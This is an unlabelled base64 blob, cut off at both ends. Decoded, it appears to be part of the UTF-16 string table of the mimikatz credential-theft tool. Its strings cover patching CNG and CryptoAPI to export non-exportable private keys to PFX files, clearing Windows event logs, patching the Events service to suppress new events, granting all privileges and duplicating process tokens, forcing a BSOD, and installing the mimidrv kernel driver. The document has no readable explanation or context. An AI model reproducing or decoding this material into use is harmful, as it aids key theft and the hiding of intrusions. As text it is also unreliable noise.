DsAIABBAHQAIABsAGUAYQBzAHQAIABvAG4AZQAgAGYAaQBsAGUAbgBhAG0AZQAgAGkAcwAgAG4AZQBlAGQAZQBkAAoAAAAAACUAdQAtACUAMAA4AHgALgAlAHMAAAAAAGYAbwByAHcAYQByAGQAYQBiAGwAZQAAAGYAbwByAHcAYQByAGQAZQBkAAAAcAByAG8AeABpAGEAYgBsAGUAAABwAHIAbwB4AHkAAABtAGEAeQBfAHAAbwBzAHQAZABhAHQAZQAAAAAAcABvAHMAdABkAGEAdABlAGQAAABpAG4AdgBhAGwAaQBkAAAAcgBlAG4AZQB3AGEAYgBsAGUAAABpAG4AaQB0AGkAYQBsAAAAcAByAGUAXwBhAHUAdABoAGUAbgB0AAAAaAB3AF8AYQB1AHQAaABlAG4AdAAAAAAAbwBrAF8AYQBzAF8AZABlAGwAZQBnAGEAdABlAAAAAABuAGEAbQBlAF8AYwBhAG4AbwBuAGkAYwBhAGwAaQB6AGUAAAAKAAkAIAAgACAAUwB0AGEAcgB0AC8ARQBuAGQALwBNAGEAeABSAGUAbgBlAHcAOgAgAAAACgAJACAAIAAgAFMAZQByAHYAaQBjAGUAIABOAGEAbQBlACAAAAAAAAoACQAgACAAIABUAGEAcgBnAGUAdAAgAE4AYQBtAGUAIAAgAAAAAAAKAAkAIAAgACAAQwBsAGkAZQBuAHQAIABOAGEAbQBlACAAIAAAAAAAIAAoACAAJQB3AFoAIAApAAAAAAAKAAkAIAAgACAARgBsAGEAZwBzACAAJQAwADgAeAAgACAAIAAgADoAIAAAAAAAAAAKAAkAIAAgACAAUwBlAHMAcwBpAG8AbgAgAEsAZQB5ACAAIAAgACAAIAAgACAAOgAgADAAeAAlADAAOAB4ACAALQAgACUAcwAAAAAACgAJACAAIAAgACAAIAAAAAAAAAAKAAkAIAAgACAAVABpAGMAawBlAHQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgADAAeAAlADAAOAB4ACAALQAgACUAcwAgADsAIABrAHYAbgBvACAAPQAgACUAdQAAAAAACQBbAC4ALgAuAF0AAAAAACgAJQAwADIAaAB1ACkAIAA6ACAAAAAAACUAdwBaACAAOwAgAAAAAAAoAC0ALQApACAAOgAgAAAAQAAgACUAdwBaAAAAbgB1AGwAbAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAAAAZABlAHMAXwBwAGwAYQBpAG4AIAAgACAAIAAgACAAIAAgAAAAZABlAHMAXwBjAGIAYwBfAGMAcgBjACAAIAAgACAAIAAgAAAAZABlAHMAXwBjAGIAYwBfAG0AZAA0ACAAIAAgACAAIAAgAAAAZABlAHMAXwBjAGIAYwBfAG0AZAA1ACAAIAAgACAAIAAgAAAAZABlAHMAXwBjAGIAYwBfAG0AZAA1AF8AbgB0ACAAIAAgAAAAcgBjADQAXwBwAGwAYQBpAG4AIAAgACAAIAAgACAAIAAgAAAAcgBjADQAXwBwAGwAYQBpAG4AMgAgACAAIAAgACAAIAAgAAAAcgBjADQAXwBwAGwAYQBpAG4AXwBlAHgAcAAgACAAIAAgAAAAcgBjADQAXwBsAG0AIAAgACAAIAAgACAAIAAgACAAIAAgAAAAcgBjADQAXwBtAGQANAAgACAAIAAgACAAIAAgACAAIAAgAAAAcgBjADQAXwBzAGgAYQAgACAAIAAgACAAIAAgACAAIAAgAAAAcgBjADQAXwBoAG0AYQBjAF8AbgB0ACAAIAAgACAAIAAgAAAAcgBjADQAXwBoAG0AYQBjAF8AbgB0AF8AZQB4AHAAIAAgAAAAcgBjADQAXwBwAGwAYQBpAG4AXwBvAGwAZAAgACAAIAAgAAAAcgBjADQAXwBwAGwAYQBpAG4AXwBvAGwAZABfAGUAeABwAAAAcgBjADQAXwBoAG0AYQBjAF8AbwBsAGQAIAAgACAAIAAgAAAAcgBjADQAXwBoAG0AYQBjAF8AbwBsAGQAXwBlAHgAcAAgAAAAYQBlAHMAMQAyADgAXwBoAG0AYQBjAF8AcABsAGEAaQBuAAAAYQBlAHMAMgA1ADYAXwBoAG0AYQBjAF8AcABsAGEAaQBuAAAAYQBlAHMAMQAyADgAXwBoAG0AYQBjACAAIAAgACAAIAAgAAAAYQBlAHMAMgA1ADYAXwBoAG0AYQBjACAAIAAgACAAIAAgAAAAdQBuAGsAbgBvAHcAIAAgACAAIAAgACAAIAAgACAAIAAgAAAAAAAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAFAAYQB0AGMAaAAgAEMATgBHACAAcwBlAHIAdgBpAGMAZQAgAGYAbwByACAAZQBhAHMAeQAgAGUAeABwAG8AcgB0AAAAAAAAAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAAUABhAHQAYwBoACAAQwByAHkAcAB0AG8AQQBQAEkAIABsAGEAeQBlAHIAIABmAG8AcgAgAGUAYQBzAHkAIABlAHgAcABvAHIAdAAAAAAAAAAAAEgAYQBzAGgAIABhACAAcABhAHMAcwB3AG8AcgBkACAAdwBpAHQAaAAgAG8AcAB0AGkAbwBuAGEAbAAgAHUAcwBlAHIAbgBhAG0AZQAAAAAATABpAHMAdAAgACgAbwByACAAZQB4AHAAbwByAHQAKQAgAGsAZQB5AHMAIABjAG8AbgB0AGEAaQBuAGUAcgBzAAAAAABrAGUAeQBzAAAAAABMAGkAcwB0ACAAKABvAHIAIABlAHgAcABvAHIAdAApACAAYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAAABjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAAAAAATABpAHMAdAAgAGMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABzAHQAbwByAGUAcwAAAHMAdABvAHIAZQBzAAAAAABMAGkAcwB0ACAAYwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAHAAcgBvAHYAaQBkAGUAcgBzAAAAAABwAHIAbwB2AGkAZABlAHIAcwAAAEMAcgB5AHAAdABvACAATQBvAGQAdQBsAGUAAABjAHIAeQBwAHQAbwAAAAAAcgBzAGEAZQBuAGgAAAAAAENQRXhwb3J0S2V5AG4AYwByAHkAcAB0AAAAAABOQ3J5cHRPcGVuU3RvcmFnZVByb3ZpZGVyAAAATkNyeXB0RW51bUtleXMAAE5DcnlwdE9wZW5LZXkAAABOQ3J5cHRJbXBvcnRLZXkATkNyeXB0RXhwb3J0S2V5AE5DcnlwdEdldFByb3BlcnR5AAAATkNyeXB0U2V0UHJvcGVydHkAAABOQ3J5cHRGcmVlQnVmZmVyAAAAAE5DcnlwdEZyZWVPYmplY3QAAAAAQkNyeXB0RW51bVJlZ2lzdGVyZWRQcm92aWRlcnMAAABCQ3J5cHRGcmVlQnVmZmVyAAAAAAoAQwByAHkAcAB0AG8AQQBQAEkAIABwAHIAbwB2AGkAZABlAHIAcwAgADoACgAAACUAMgB1AC4AIAAlAHMACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBwAHIAbwB2AGkAZABlAHIAcwAgADsAIABDAHIAeQBwAHQARQBuAHUAbQBQAHIAbwB2AGkAZABlAHIAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAKAEMATgBHACAAcAByAG8AdgBpAGQAZQByAHMAIAA6AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBwAHIAbwB2AGkAZABlAHIAcwAgADsAIABCAEMAcgB5AHAAdABFAG4AdQBtAFIAZQBnAGkAcwB0AGUAcgBlAGQAUAByAG8AdgBpAGQAZQByAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAEMAVQBSAFIARQBOAFQAXwBVAFMARQBSAAAAAABzAHkAcwB0AGUAbQBzAHQAbwByAGUAAABBAHMAawBpAG4AZwAgAGYAbwByACAAUwB5AHMAdABlAG0AIABTAHQAbwByAGUAIAAnACUAcwAnACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcwB0AG8AcgBlAHMAIAA7ACAAQwBlAHIAdABFAG4AdQBtAFMAeQBzAHQAZQBtAFMAdABvAHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABNAHkAAAAAAHMAdABvAHIAZQAAACAAKgAgAFMAeQBzAHQAZQBtACAAUwB0AG8AcgBlACAAIAA6ACAAJwAlAHMAJwAgACgAMAB4ACUAMAA4AHgAKQAKACAAKgAgAFMAdABvAHIAZQAgACAAIAAgACAAIAAgACAAIAA6ACAAJwAlAHMAJwAKAAoAAAAAACgAbgB1AGwAbAApAAAAAAAJAEsAZQB5ACAAQwBvAG4AdABhAGkAbgBlAHIAIAAgADoAIAAlAHMACgAJAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAACQBUAHkAcABlACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwByAHkAcAB0AEcAZQB0AFUAcwBlAHIASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABrAGUAeQBTAHAAZQBjACAAPQA9ACAAQwBFAFIAVABfAE4AQwBSAFkAUABUAF8ASwBFAFkAXwBTAFAARQBDACAAdwBpAHQAaABvAHUAdAAgAEMATgBHACAASABhAG4AZABsAGUAIAA/AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwByAHkAcAB0AEEAYwBxAHUAaQByAGUAQwBlAHIAdABpAGYAaQBjAGEAdABlAFAAcgBpAHYAYQB0AGUASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABHAGUAdABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAQwBvAG4AdABlAHgAdABQAHIAbwBwAGUAcgB0AHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABHAGUAdABOAGEAbQBlAFMAdAByAGkAbgBnACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAZQByAHQARwBlAHQATgBhAG0AZQBTAHQAcgBpAG4AZwAgACgAZgBvAHIAIABsAGUAbgApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABPAHAAZQBuAFMAdABvAHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABwAHIAbwB2AGkAZABlAHIAAAAAAHAAcgBvAHYAaQBkAGUAcgB0AHkAcABlAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABTAG8AZgB0AHcAYQByAGUAIABLAGUAeQAgAFMAdABvAHIAYQBnAGUAIABQAHIAbwB2AGkAZABlAHIAAABjAG4AZwBwAHIAbwB2AGkAZABlAHIAAAAgACoAIABTAHQAbwByAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACcAJQBzACcACgAgACoAIABQAHIAbwB2AGkAZABlAHIAIAAgACAAIAAgACAAOgAgACcAJQBzACcAIAAoACcAJQBzACcAKQAKACAAKgAgAFAAcgBvAHYAaQBkAGUAcgAgAHQAeQBwAGUAIAA6ACAAJwAlAHMAJwAgACgAJQB1ACkACgAgACoAIABDAE4ARwAgAFAAcgBvAHYAaQBkAGUAcgAgACAAOgAgACcAJQBzACcACgAAAAAACgBDAHIAeQBwAHQAbwBBAFAASQAgAGsAZQB5AHMAIAA6AAoAAAAAAAoAJQAyAHUALgAgACUAcwAKAAAAIAAgACAAIAAlAFMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABDAHIAeQBwAHQARwBlAHQAVQBzAGUAcgBLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAAQwByAHkAcAB0AEcAZQB0AFAAcgBvAHYAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAoAQwBOAEcAIABrAGUAeQBzACAAOgAKAAAAAABVAG4AaQBxAHUAZQAgAE4AYQBtAGUAAAAgACAAIAAgACUAcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzACAAOwAgAE4AQwByAHkAcAB0AE8AcABlAG4ASwBlAHkAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAATgBDAHIAeQBwAHQARQBuAHUAbQBLAGUAeQBzACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABOAEMAcgB5AHAAdABPAHAAZQBuAFMAdABvAHIAYQBnAGUAUAByAG8AdgBpAGQAZQByACAAJQAwADgAeAAKAAAAAABFAHgAcABvAHIAdAAgAFAAbwBsAGkAYwB5AAAATABlAG4AZwB0AGgAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAHIAaQBuAHQASwBlAHkASQBuAGYAbwBzACAAOwAgAE4AQwByAHkAcAB0AEcAZQB0AFAAcgBvAHAAZQByAHQAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAcgBpAG4AdABLAGUAeQBJAG4AZgBvAHMAIAA7ACAAQwByAHkAcAB0AEcAZQB0AEsAZQB5AFAAYQByAGEAbQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABZAEUAUwAAAE4ATwAAAAAACQBFAHgAcABvAHIAdABhAGIAbABlACAAawBlAHkAIAA6ACAAJQBzAAoACQBLAGUAeQAgAHMAaQB6AGUAIAAgACAAIAAgACAAIAA6ACAAJQB1AAoAAAAAAFIAUwBBAFAAUgBJAFYAQQBUAEUAQgBMAE8AQgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AFIAYQB3AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAE4AQwByAHkAcAB0AFMAZQB0AFAAcgBvAHAAZQByAHQAeQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AFIAYQB3AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAE4AQwByAHkAcAB0AEkAbQBwAG8AcgB0AEsAZQB5AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AFIAYQB3AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAE4AbwAgAEMATgBHACEACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAUgBhAHcASwBlAHkAVABvAEYAaQBsAGUAIAA7ACAAQwByAHkAcAB0AEkAbQBwAG8AcgB0AEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAABDAEEAUABJAFAAUgBJAFYAQQBUAEUAQgBMAE8AQgAAAE8ASwAAAAAASwBPAAAAAAAJAFAAcgBpAHYAYQB0AGUAIABlAHgAcABvAHIAdAAgADoAIAAlAHMAIAAtACAAAAAnACUAcwAnAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQASwBlAHkAVABvAEYAaQBsAGUAIAA7ACAARQB4AHAAbwByAHQAIAAvACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBnAGUAbgBlAHIAYQB0AGUARgBpAGwAZQBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAGQAZQByAAAACQBQAHUAYgBsAGkAYwAgAGUAeABwAG8AcgB0ACAAIAA6ACAAJQBzACAALQAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEMAZQByAHQAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABDAGUAcgB0ACAAOwAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBnAGUAbgBlAHIAYQB0AGUARgBpAGwAZQBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABwAGYAeAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAQwBlAHIAdAAgADsAIABFAHgAcABvAHIAdAAgAC8AIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABQAGYAeAAgADsAIABQAEYAWABFAHgAcABvAHIAdABDAGUAcgB0AFMAdABvAHIAZQBFAHgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAEQAZQByAEEAbgBkAEsAZQB5AFQAbwBQAGYAeAAgADsAIABDAHIAeQBwAHQASQBtAHAAbwByAHQASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8ARABlAHIAQQBuAGQASwBlAHkAVABvAFAAZgB4ACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAZABlAGwAZQB0AGUAIAB0AGUAbQBwACAAawBlAHkAcwBlAHQAIAAlAHMACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8ARABlAHIAQQBuAGQASwBlAHkAVABvAFAAZgB4ACAAOwAgAEMAcgB5AHAAdABBAGMAcQB1AGkAcgBlAEMAbwBuAHQAZQB4AHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAEQAZQByAEEAbgBkAEsAZQB5AFQAbwBQAGYAeAAgADsAIABDAGUAcgB0AEEAZABkAEUAbgBjAG8AZABlAGQAQwBlAHIAdABpAGYAaQBjAGEAdABlAFQAbwBTAHQAbwByAGUAIAAoADAAeAAlADAAOAB4ACkACgAAACUAcwBfACUAcwBfACUAdQBfACUAcwAuACUAcwAAAAAATgBUAEwATQA6ACAAAAAAAEQAQwBDADEAOgAgAAAAAABEAEMAQwAyADoAIAAAAAAATABNACAAIAA6ACAAAAAAAE0ARAA1ACAAOgAgAAAAAABTAEgAQQAxADoAIAAAAAAAUwBIAEEAMgA6ACAAAAAAAHIAcwBhAGUAbgBoAC4AZABsAGwAAAAAAEwAbwBjAGEAbAAgAEMAcgB5AHAAdABvAEEAUABJACAAcABhAHQAYwBoAGUAZAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAXwBjAGEAcABpACAAOwAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcABfAGMAYQBwAGkAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAVgBlAHIAeQBCAGEAcwBpAGMATQBvAGQAdQBsAGUASQBuAGYAbwByAG0AYQB0AGkAbwBuAHMARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAbgBjAHIAeQBwAHQALgBkAGwAbAAAAAAAbgBjAHIAeQBwAHQAcAByAG8AdgAuAGQAbABsAAAAAABLAGUAeQBJAHMAbwAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAXwBjAG4AZwAgADsAIABOAG8AIABDAE4ARwAKAAAAQwBsAGUAYQByACAAYQBuACAAZQB2AGUAbgB0ACAAbABvAGcAAAAAAGMAbABlAGEAcgAAAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABwAGEAdABjAGgAIABFAHYAZQBuAHQAcwAgAHMAZQByAHYAaQBjAGUAIAB0AG8AIABhAHYAbwBpAGQAIABuAGUAdwAgAGUAdgBlAG4AdABzAAAAZAByAG8AcAAAAAAARQB2AGUAbgB0ACAAbQBvAGQAdQBsAGUAAAAAAGUAdgBlAG4AdAAAAGwAbwBnAAAAZQB2AGUAbgB0AGwAbwBnAC4AZABsAGwAAAAAAHcAZQB2AHQAcwB2AGMALgBkAGwAbAAAAEUAdgBlAG4AdABMAG8AZwAAAAAAUwBlAGMAdQByAGkAdAB5AAAAAABVAHMAaQBuAGcAIAAiACUAcwAiACAAZQB2AGUAbgB0ACAAbABvAGcAIAA6AAoAAAAtACAAJQB1ACAAZQB2AGUAbgB0ACgAcwApAAoAAAAAAC0AIABDAGwAZQBhAHIAZQBkACAAIQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBlAHYAZQBuAHQAXwBjAGwAZQBhAHIAIAA7ACAAQwBsAGUAYQByAEUAdgBlAG4AdABMAG8AZwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGUAdgBlAG4AdABfAGMAbABlAGEAcgAgADsAIABPAHAAZQBuAEUAdgBlAG4AdABMAG8AZwAgACgAMAB4ACUAMAA4AHgAKQAKAAAATABpAHMAdAAgAG0AaQBuAGkAZgBpAGwAdABlAHIAcwAAAAAAbQBpAG4AaQBmAGkAbAB0AGUAcgBzAAAATABpAHMAdAAgAEYAUwAgAGYAaQBsAHQAZQByAHMAAABmAGkAbAB0AGUAcgBzAAAAUgBlAG0AbwB2AGUAIABvAGIAagBlAGMAdAAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAAAAbgBvAHQAaQBmAE8AYgBqAGUAYwB0AFIAZQBtAG8AdgBlAAAAUgBlAG0AbwB2AGUAIABwAHIAbwBjAGUAcwBzACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAAAAAAG4AbwB0AGkAZgBQAHIAbwBjAGUAcwBzAFIAZQBtAG8AdgBlAAAAAABMAGkAcwB0ACAAbwBiAGoAZQBjAHQAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAABuAG8AdABpAGYATwBiAGoAZQBjAHQAAABMAGkAcwB0ACAAcgBlAGcAaQBzAHQAcgB5ACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAAAAbgBvAHQAaQBmAFIAZQBnAAAAAABMAGkAcwB0ACAAaQBtAGEAZwBlACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAG4AbwB0AGkAZgBJAG0AYQBnAGUAAAAAAEwAaQBzAHQAIAB0AGgAcgBlAGEAZAAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAHMAAAAAAG4AbwB0AGkAZgBUAGgAcgBlAGEAZAAAAEwAaQBzAHQAIABwAHIAbwBjAGUAcwBzACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAG4AbwB0AGkAZgBQAHIAbwBjAGUAcwBzAAAAAABMAGkAcwB0ACAAUwBTAEQAVAAAAHMAcwBkAHQAAAAAAEwAaQBzAHQAIABtAG8AZAB1AGwAZQBzAAAAAABtAG8AZAB1AGwAZQBzAAAAUwBlAHQAIABhAGwAbAAgAHAAcgBpAHYAaQBsAGUAZwBlACAAbwBuACAAcAByAG8AYwBlAHMAcwAAAAAAcAByAG8AYwBlAHMAcwBQAHIAaQB2AGkAbABlAGcAZQAAAAAARAB1AHAAbABpAGMAYQB0AGUAIABwAHIAbwBjAGUAcwBzACAAdABvAGsAZQBuAAAAcAByAG8AYwBlAHMAcwBUAG8AawBlAG4AAAAAAFAAcgBvAHQAZQBjAHQAIABwAHIAbwBjAGUAcwBzAAAAcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0AAAAAABCAFMATwBEACAAIQAAAAAAYgBzAG8AZAAAAAAAUABpAG4AZwAgAHQAaABlACAAZAByAGkAdgBlAHIAAABwAGkAbgBnAAAAAAAAAAAAUgBlAG0AbwB2AGUAIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgACgAbQBpAG0AaQBkAHIAdgApAAAAAAAtAAAASQBuAHMAdABhAGwAbAAgAGEAbgBkAC8AbwByACAAcwB0AGEAcgB0ACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIAAoAG0AaQBtAGkAZAByAHYAKQAAAAAAKwAAAHIAZQBtAG8AdgBlAAAAAABMAGkAcwB0ACAAcAByAG8AYwBlAHMAcwAAAAAAcAByAG8AYwBlAHMAcwAAAG0AaQBtAGkAZAByAHYALgBzAHkAcwAAAG0AaQBtAGkAZAByAHYAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAYQBsAHIAZQBhAGQAeQAgAHIAZQBnAGkAcwB0AGUAcgBlAGQACgAAAFsAKgBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABuAG8AdAAgAHAAcgBlAHMAZQBuAHQACgAAAAAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIAAoAG0AaQBtAGkAZAByAHYAKQAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABzAHUAYwBjAGUAcwBzAGYAdQBsAGwAeQAgAHIAZQBnAGkAcwB0AGUAcgBlAGQACgAAAAAAAAAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABBAEMATAAgAHQAbwAgAGUAdgBlAHIAeQBvAG4AZQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAVwBvAHIAbABkAFQAbwBNAGkAbQBpAGsAYQB0AHoAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAAQwByAGUAYQB0AGUAUwBlAHIAdgBpAGMAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AaQBzAEYAaQBsAGUARQB4AGkAcwB0ACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAGcAZQB0AEEAYgBzAG8AbAB1AHQAZQBQAGEAdABoAE8AZgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAATwBwAGUAbgBTAGUAcgB2AGkA